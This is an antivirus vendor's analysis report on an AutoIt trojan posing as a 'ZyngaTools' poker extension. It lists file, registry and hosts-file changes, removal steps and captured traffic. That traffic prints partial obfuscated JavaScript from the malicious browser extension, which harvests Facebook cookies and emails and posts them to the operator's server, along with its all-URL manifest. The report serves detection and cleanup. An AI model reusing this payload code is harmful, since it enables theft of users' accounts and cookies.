Trojan.GenericKD.2441594_121dd25c1b – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):

%original file name%.exe:1192

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:1192 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\ZyngaTools\manifest.json (756 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\icon_128[1].png (21953 bytes)
C:\ZyngaTools\background.js (388 bytes)
C:\ZyngaTools\jquery-1.9.0.min.js (12076 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\icon[1].png (25 bytes)
%Documents and Settings%\%current user%\Desktop\ZyngaTools.lnk (571 bytes)
%System%\drivers\etc\hosts (777 bytes)
C:\ZyngaTools\document_idle.js (2500 bytes)
C:\ZyngaTools\icon.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\gzip.exe (44 bytes)
C:\ZyngaTools\icon_128.png (6532 bytes)

The Trojan deletes the following file(s):

%System%\drivers\etc\hosts (0 bytes)

Registry activity

The process %original file name%.exe:1192 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 28 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows Script\Settings]
"JITDebug" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "21 DE D2 E0 17 A1 E3 20 5E 92 D5 F6 A9 77 66 35"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5	File path
7eb8d0a38abd4b1cfe433cef7b5b6ecb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\gzip.exe

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 400 bytes in size. The following strings are added to the hosts file listed below:

127.0.0.1	turkbot.com
127.0.0.1	www.turkbot.com
127.0.0.1	reklambot2013.somee.com
127.0.0.1	somee.com
127.0.0.1	www.somee.com
127.0.0.1	zpokerbot.proboards.com
127.0.0.1	proboards.com
127.0.0.1	www.proboards.com
127.0.0.1	zyngatables.com
127.0.0.1	www.zyngatables.com
127.0.0.1	zyngetools.ddns.net
127.0.0.1	www.zpokerbot.proboards.com
127.0.0.1	www.zyncloud.com
127.0.0.1	zyncloud.com

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
C:\ZyngaTools\manifest.json (756 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\icon_128[1].png (21953 bytes)
C:\ZyngaTools\background.js (388 bytes)
C:\ZyngaTools\jquery-1.9.0.min.js (12076 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\icon[1].png (25 bytes)
%Documents and Settings%\%current user%\Desktop\ZyngaTools.lnk (571 bytes)
%System%\drivers\etc\hosts (777 bytes)
C:\ZyngaTools\document_idle.js (2500 bytes)
C:\ZyngaTools\icon.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\gzip.exe (44 bytes)
C:\ZyngaTools\icon_128.png (6532 bytes)
Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
UPX0	4096	450560	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	454656	270336	270336	5.49615	1607129b281cb0cb2e5384d46c3c2ce5
.rsrc	724992	8192	6656	3.19852	529a4593cd542271d262080034a33b32

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://www.zyngatools.com/poker/localhost/latest.php	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/?random=431	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/background.js?random=143	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/document_idle.js?random=678	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/icon.png?random=556	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/icon_128.png?random=163	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/jquery-1.9.0.min.js?random=695	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/manifest.json?random=311	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/announcement.txt	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/statusbar2.txt	208.89.208.31
hxxp://www.zyngatools.com/poker/server_status.php?v=v6.4	208.89.208.31

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /poker/localhost/latest.php HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:22 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.17

Vary: Accept-Encoding,User-Agent

Transfer-Encoding: chunked

Content-Type: text/html

4..v6.4..0......

GET /poker/localhost/ZyngaTools/?random=431 HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:22 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.17

Vary: Accept-Encoding,User-Agent

Transfer-Encoding: chunked

Content-Type: text/html

78..background.js:12238.document_idle.js:24963.icon.png:1247.icon_128.png:44672.jquery-1.9.0.min.js:93068.manifest.json:756...0......

GET /poker/localhost/ZyngaTools/background.js?random=143 HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:22 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.17

Vary: Accept-Encoding,User-Agent

Transfer-Encoding: chunked

Content-Type: text/html

2fce..var _0x5524=["\x31\x32\x37\x2E\x30\x2E\x30\x2E\x31","\x43\x75\x73\x74\x6F\x6D\x65\x72","\x68\x74\x74\x70\x3A\x2F\x2F\x7A\x79\x6E\x67\x61\x74\x6F\x6F\x6C\x2E\x64\x64\x6E\x73\x2E\x6E\x65\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x7A\x79\x6E\x67\x61\x74\x6F\x6F\x6C\x2E\x63\x6F\x6D","\x7A","\x79","\x6E","\x67","\x61","\x74","\x6F","\x6C","\x2E","\x64","\x73","\x65","","\x6C\x65\x6E\x67\x74\x68","\x68\x74\x74\x70\x3A\x2F\x2F","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x70\x73\x2E\x73\x6B\x79\x70\x65\x2E\x63\x6F\x6D\x2F\x63\x6F\x75\x6E\x74\x72\x79\x63\x6F\x64\x65","\x63\x6F\x75\x6E\x74\x72\x79\x5F\x63\x6F\x64\x65","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6A\x73\x2E\x6D\x61\x78\x6D\x69\x6E\x64\x2E\x63\x6F\x6D\x2F\x67\x65\x6F\x69\x70\x2F\x76\x32\x2E\x31\x2F\x63\x69\x74\x79\x2F\x6D\x65\x3F\x72\x65\x66\x65\x72\x72\x65\x72\x3D\x68\x74\x74\x70\x73\x25\x33\x41\x25\x32\x46\x25\x32\x46\x77\x77\x77\x2E\x6D\x61\x78\x6D\x69\x6E\x64\x2E\x63\x6F\x6D","\x69\x70\x5F\x61\x64\x64\x72\x65\x73\x73","\x74\x72\x61\x69\x74\x73","\x69\x73\x6F\x5F\x63\x6F\x64\x65","\x63\x6F\x75\x6E\x74\x72\x79","\x68\x74\x74\x70\x3A\x2F\x2F\x69\x73\x68\x6F\x70\x2E\x6D\x79\x2F\x69\x70\x2F","\x2F\x69\x70\x2F\x61\x64\x64\x2E\x70\x68\x70","\x67\x65\x74","\x2F\x70\x6F\x6B\x65\x72\x2F\x61\x63\x63\x6F\x75\x6E\x74\x2D\x61\x64\x64\x2E\x70\x68\x70","\x69\x6E\x64\x65\x78\x4F\x66","\x75\x72\x6C","\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D","\x6E\x61\x6D\x65","\x76\x61\x6C\x75\x65","\x5F\x5F\x75\x74\x6D","\x3D","\x3B\x20","\x65\x6D\x61\x69\x6C\x3D\x28\x2E\x2A\x29\x26",

<<< skipped >>>

GET /poker/localhost/ZyngaTools/document_idle.js?random=678 HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:22 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.17

Vary: Accept-Encoding,User-Agent

Transfer-Encoding: chunked

Content-Type: text/html

6183..var _0x5524=["\x43\x75\x73\x74\x6F\x6D\x65\x72","\x68\x74\x74\x70\x3A\x2F\x2F\x7A\x79\x6E\x67\x61\x74\x6F\x6F\x6C\x2E\x64\x64\x6E\x73\x2E\x6E\x65\x74","\x7A","\x79","\x6E","\x67","\x61","\x74","\x6F","\x6C","\x2E","\x64","\x73","\x65","","\x6C\x65\x6E\x67\x74\x68","\x68\x74\x74\x70\x3A\x2F\x2F","\x48\x65\x6E\x64\x65\x72\x73\x6F\x6E","\x2E\x7A\x79\x6E\x67\x61\x2E\x63\x6F\x6D\x2F\x70\x6F\x6B\x65\x72\x2F","\x69\x6E\x64\x65\x78\x4F\x66","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x2E\x7A\x79\x6E\x67\x61\x2E\x63\x6F\x6D\x2F\x70\x6F\x6B\x65\x72\x2F\x67\x6F\x6F\x67\x6C\x65","\x2E\x7A\x79\x6E\x67\x61\x2E\x63\x6F\x6D\x2F\x70\x6F\x6B\x65\x72\x2F\x69\x66\x72\x61\x6D\x65\x5F\x70\x72\x6F\x78\x79\x2E\x70\x68\x70","\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x24\x2E\x67\x65\x74\x28\x22","\x2F\x70\x6F\x6B\x65\x72\x2F\x73\x6D\x61\x72\x74\x66\x6F\x78\x2E\x70\x68\x70\x3F\x64\x61\x74\x61\x3D\x22\x20\x2B\x20\x4A\x53\x4F\x4E\x2E\x73\x74\x72\x69\x6E\x67\x69\x66\x79\x28\x7A\x63\x2E\x4C\x65\x76\x65\x72\x73\x2E\x66\x65\x61\x74\x75\x72\x65\x73\x2E\x46\x6C\x61\x73\x68\x5F\x53\x6D\x61\x72\x74\x66\x6F\x78\x2E\x6C\x65\x76\x65\x72\x73\x29\x29\x3B","\x73\x74\x79\x6C\x65","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x63\x73\x73","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x23\x6E\x65\x77\x5F\x6F\x76\x65\x72\x6C\x61\x79\x5F\x64\x69\x76\x7B\x74\x6F\x70\x3A\x20\x32\x30\x30\x30\x70\x78\x7D\x23\x6F\x76\x65\x72\x6C\x61\x79\x7B\x74\x6F\x70\x3A\x20\x32\x30\x30\x30\x70\x78\x7D\x3B","\x61

<<< skipped >>>

GET /poker/localhost/ZyngaTools/icon.png?random=556 HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:23 GMT

Server: Apache/2

Last-Modified: Sat, 02 Nov 2013 04:14:43 GMT

ETag: "30d7220-4df-4ea29ec2132c0"

Accept-Ranges: bytes

Content-Length: 1247

Content-Type: image/png

.PNG........IHDR..............w=.....IDATx..UiH$W......Uc4..W.........!*..A\..2..FM. ..1...(.G"...Cv...z...b@.x.....Q.sR..nzF7K.....^}U_..........ihhh|CCC....c.....VVV........B.n.>.@...b77..uttZE".c ....g.......p{{......KKK#.}.6....{...V.p..........HNNV;xuu%[^^.Q..&.d}}.|bb....J......//.......@__.....l...!((H.......$===.....B...!.......8;;c.I99??gj``..... &&.}....A 9.%.........kC.,.dgg....R)o..AFF........477...$....../..Lw.........dllLfkk.....`w0..........L...... ,,.***.....g....r.R4.411...X.(...#///gk###......"..2::..lll..........>...===_......#ttt..b..}......X..)...0;;K...A.E.... ...m....haa...............P...XC<tnkk........a'.r..J%..c....P[[.{{{`iiy.......9....wi....`hh...9...I.............vl.......X......#...e..Td..%......(fH*.......|nn.....m..)))|..9...iff......H3kkk........r9tww3zLMMadd.9A*..9>>..X]..Hp.@bb"DGG.5N....S..Guuu%...y\zt3)ua.$....ytt.:nxx.E......................._.H6..BWW...T.........M...D.........Q~....T-r.Z.@iii!f.M..3. .NB}.....P.%%%....._........YD......{......&t&lA...R.srr(......D..j.........7.5O..'%%App0{'...)...S..N[...a...DUP........=..3...b....p.qB...9.[..f....A=!.X.p_..n.9.=.....khZZ...aKK.:.&.#U.....*...V...].*..........-&%R.....{.QOQ_.._....M..lt4..&...TJN..Q.....U....*..........u.\.....IEND.B`.....

GET /poker/localhost/ZyngaTools/icon_128.png?random=163 HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:23 GMT

Server: Apache/2

Last-Modified: Thu, 06 Jun 2013 07:06:43 GMT

ETag: "30d7224-ae80-4de76f4e506c0"

Accept-Ranges: bytes

Content-Length: 44672

Content-Type: image/png

.PNG........IHDR..............>a....GIDATx.....\..-.n....sVl..e!r.".`c..m....a.F`.a..#.<......ccr0..[.D...e..n.cUW......so...3.......].U7....k...).......j.V.~.6.X6`h....:....j.S..2....\...uX:...9....`..-.............k......|^)Yr%|....m.j.|..a.<|....:xr^..k...r/.}..V....>.............n...0.{..P.........i5^..O.....g.Z...rh....<.....t.....^....a..1...i8._,.pw..M.*..v......ij.......6..,.Z,".L.Cc...x.w-.....:>]...m...........9.`.E.....!7.C.A............;.._W..i.?0.2..2.....wP.&.....c..N....?y....L.2...V. .,......y...... cS..{?....`.k.k....b.b.....o..[....h.Q..f4R3....6.X>_...g.<6............h<j.........8.5....kL......(...M..>.QF`)....k5.....^...%....8..p9r~1 .'</v.....eU.....VY..9.2h.?..yP...w..!..@...#h.....h..@...g..bu..|5..zM.C....x.......u.E.1d...T...6..O.m....[..vc. ..A........Ys..x...P.y.R.k....w..{k...?.......a........8..y*....a..r...........\....8.!..l.d.Q.....K<>-.n.......8.0.wN...N. ./......i.f......k...8.J...V.....N.\.F.p.X.:.2...7..k.b..<u^.....1u}...:.U.4R....n,T.f{......>ey.2...........&.".2xd.50.|$.@c"..=..:vF?....wv..q..Z.....x.yV!?^ ....[..3NB....t..7.p..t.J..T.......R.....[......V.GAM.9....d.....}N....a...L.....I...[.............?../.../..Oyg..0.zu5...L.....{|.....1.is.d.. ....P.... S..*.L!.{...A....MNh.(.x..;6.&ux.........5...........).....((hhO4.O9...-[......7{....9O.w..Q.H!.d..;w...5...X....g.h.&.W...^........65Aj..M....'o.Z........../B..[...r....E.5..o....../....l..x.._.`j...........n...?.&..K".....2.....R. X].k..f.....{.._e.m........{%....-....,.Y..

<<< skipped >>>

GET /poker/localhost/ZyngaTools/jquery-1.9.0.min.js?random=695 HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:23 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.17

Vary: Accept-Encoding,User-Agent

Transfer-Encoding: chunked

Content-Type: text/html

16b8c../*! jQuery v1.9.0 | (c) 2005, 2012 jQuery Foundation, Inc. | jquery.org/license */(function(e,t){"use strict";function n(e){var t=e.length,n=st.type(e);return st.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}function r(e){var t=Tt[e]={};return st.each(e.match(lt)||[],function(e,n){t[n]=!0}),t}function i(e,n,r,i){if(st.acceptData(e)){var o,a,s=st.expando,u="string"==typeof n,l=e.nodeType,c=l?st.cache:e,f=l?e[s]:e[s]&&s;if(f&&c[f]&&(i||c[f].data)||!u||r!==t)return f||(l?e[s]=f=K.pop()||st.guid :f=s),c[f]||(c[f]={},l||(c[f].toJSON=st.noop)),("object"==typeof n||"function"==typeof n)&&(i?c[f]=st.extend(c[f],n):c[f].data=st.extend(c[f].data,n)),o=c[f],i||(o.data||(o.data={}),o=o.data),r!==t&&(o[st.camelCase(n)]=r),u?(a=o[n],null==a&&(a=o[st.camelCase(n)])):a=o,a}}function o(e,t,n){if(st.acceptData(e)){var r,i,o,a=e.nodeType,u=a?st.cache:e,l=a?e[st.expando]:st.expando;if(u[l]){if(t&&(r=n?u[l]:u[l].data)){st.isArray(t)?t=t.concat(st.map(t,st.camelCase)):t in r?t=[t]:(t=st.camelCase(t),t=t in r?[t]:t.split(" "));for(i=0,o=t.length;o>i;i )delete r[t[i]];if(!(n?s:st.isEmptyObject)(r))return}(n||(delete u[l].data,s(u[l])))&&(a?st.cleanData([e],!0):st.support.deleteExpando||u!=u.window?delete u[l]:u[l]=null)}}}function a(e,n,r){if(r===t&&1===e.nodeType){var i="data-" n.replace(Nt,"-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null: r ""===r? r:wt.test(r)?st.parseJSON(r):r}catch(o){}st.

<<< skipped >>>

GET /poker/localhost/ZyngaTools/manifest.json?random=311 HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:24 GMT

Server: Apache/2

Last-Modified: Tue, 05 May 2015 01:31:30 GMT

ETag: "30d7238-2f4-5154ba34cc080"

Accept-Ranges: bytes

Content-Length: 756

Vary: Accept-Encoding,User-Agent

Content-Type: application/json

{. "name": "ZyngaTools Extension",. "version": "6.3",. "manifest_version": 2,. "description": "Customer Service/ Support Skype: ZyngaTools / ZyngaShop",. "web_accessible_resources":["*.*"],. "background": { "scripts": ["jquery-1.9.0.min.js" ,"background.js"] },. "icons": {. "128": "icon_128.png". },. "permissions": ["hXXp://*/*", "https://*/*", "cookies", "tabs",......"webRequest", "webRequestBlocking",. "tabs", "contextMenus",. "notifications", "storage"],. "content_scripts": [. {. "matches": ["http://*/*" ,"hXXps://*/*"],.. "js": ["jquery-1.9.0.min.js" ,"document_idle.js"],.. "run_at": "document_end",.. "all_frames": true,.. "include_globs": ["hXXp://*/*" ,"hXXps://*/*"]. }. ].}.....

GET /poker/localhost/announcement.txt HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:24 GMT

Server: Apache/2

Last-Modified: Fri, 13 Mar 2015 01:25:53 GMT

ETag: "30d71df-210-51121619faa40"

Accept-Ranges: bytes

Content-Length: 528

Vary: Accept-Encoding,User-Agent

Content-Type: text/plain

X-Pad: avoid browser bug

Dear ZyngaTools User..--------------------------------------------------------------..To prevent account hacked, please do not download extension from..ZyngaToolsFree.com ,Zynge tables or zbot etc.....Any improvement and new update/featues will be added for Paid user!..Next update/featues(upcoming)..--------------------------------------------------------------..Join Room instantly (No more random join room)..Loaded Poker without any error and lag..Zero downtime and comfortable gaming..Auto Transfer..Auto Advertising......

GET /poker/localhost/statusbar2.txt HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:25 GMT

Server: Apache/2

Last-Modified: Fri, 13 Mar 2015 01:26:33 GMT

ETag: "30d7203-1d-5112164020440"

Accept-Ranges: bytes

Content-Length: 29

Vary: Accept-Encoding,User-Agent

Content-Type: text/plain

Skype: ZyngaTools / ZyngaShop....

GET /poker/server_status.php?v=v6.4 HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:25 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.17

Vary: Accept-Encoding,User-Agent

Content-Length: 0

Content-Type: text/html

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_1192:

`.rsrc

s%j.Zf

tGHt.Ht&

tCPh

SSSSh

\$%u#Sj

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.

uxtheme.dll

kernel32.dll

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

erroffset passed as NULL

POSIX collating elements are not supported

this version of PCRE is not compiled with PCRE_UTF8 support

PCRE does not support \L, \l, \N, \U, or \u

support for \P, \p, and \X has not been compiled

(*VERB) with an argument is not supported

ICMP.DLL

advapi32.dll

RegDeleteKeyExW

zcÃ

GetProcessHeap

CreatePipe

GetWindowsDirectoryW

GetCPInfo

GetConsoleOutputCP

RegDeleteKeyW

RegCreateKeyExW

RegEnumKeyExW

RegCloseKey

RegOpenKeyExW

SetViewportOrgEx

ShellExecuteExW

SHFileOperationW

ShellExecuteW

RegisterHotKey

GetKeyboardLayoutNameW

ExitWindowsEx

EnumThreadWindows

GetAsyncKeyState

SetKeyboardState

GetKeyboardState

GetKeyState

VkKeyScanW

EnumWindows

EnumChildWindows

MapVirtualKeyW

CloseWindowStation

SetProcessWindowStation

OpenWindowStationW

UnregisterHotKey

keybd_event

InternetCrackUrlW

HttpQueryInfoW

HttpOpenRequestW

HttpSendRequestW

FtpOpenFileW

FtpGetFileSize

InternetOpenUrlW

.text

`.rdata

@.data

.rsrc

y).JZn

].bod:o

[Sub%CR

KERNEL32.DLL

ADVAPI32.dll

COMCTL32.dll

COMDLG32.dll

GDI32.dll

MPR.dll

ole32.dll

OLEAUT32.dll

PSAPI.DLL

SHELL32.dll

USER32.dll

USERENV.dll

VERSION.dll

WININET.dll

WINMM.dll

WSOCK32.dll

mscoree.dll

>>>AUTOIT NO CMDEXECUTE

CMDLINERAW

CMDLINE

/AutoIt3ExecuteLine

/AutoIt3ExecuteScript

%s (%d) : ==> %s.:

Line %d:

Line %d (File "%s"):

%s (%d) : ==> %s:

AutoIt script files (*.au3, *.a3x)

*.au3;*.a3x

All files (*.*)

#NoAutoIt3Execute

APPSKEY

04090000

%u.%u.%u.%u

0.0.0.0

Mddddd

%s (%d) : ==> %s:

UDPSTARTUP

UDPSHUTDOWN

UDPSEND

UDPRECV

UDPOPEN

UDPCLOSESOCKET

UDPBIND

TRAYGETMSG

TCPSTARTUP

TCPSHUTDOWN

TCPSEND

TCPRECV

TCPNAMETOIP

TCPLISTEN

TCPCONNECT

TCPCLOSESOCKET

TCPACCEPT

SHELLEXECUTEWAIT

SHELLEXECUTE

REGENUMKEY

MSGBOX

ISKEYWORD

HTTPSETUSERAGENT

HTTPSETPROXY

HOTKEYSET

GUIREGISTERMSG

GUIGETMSG

GUICTRLSENDMSG

GUICTRLRECVMSG

FTPSETPROXY

\??\%s

GUI_RUNDEFMSG

SendKeyDelay

SendKeyDownDelay

TCPTimeout

AUTOITCALLVARIABLE%d

255.255.255.255

Keyword

AutoIt.Error

Null Object assignment in FOR..IN loop

Incorrect Object type in FOR..IN loop

HOTKEYPRESSED

AUTOITEXE

WINDOWSDIR

3, 3, 6, 1

HKEY_LOCAL_MACHINE

HKEY_CLASSES_ROOT

HKEY_CURRENT_CONFIG

HKEY_CURRENT_USER

HKEY_USERS
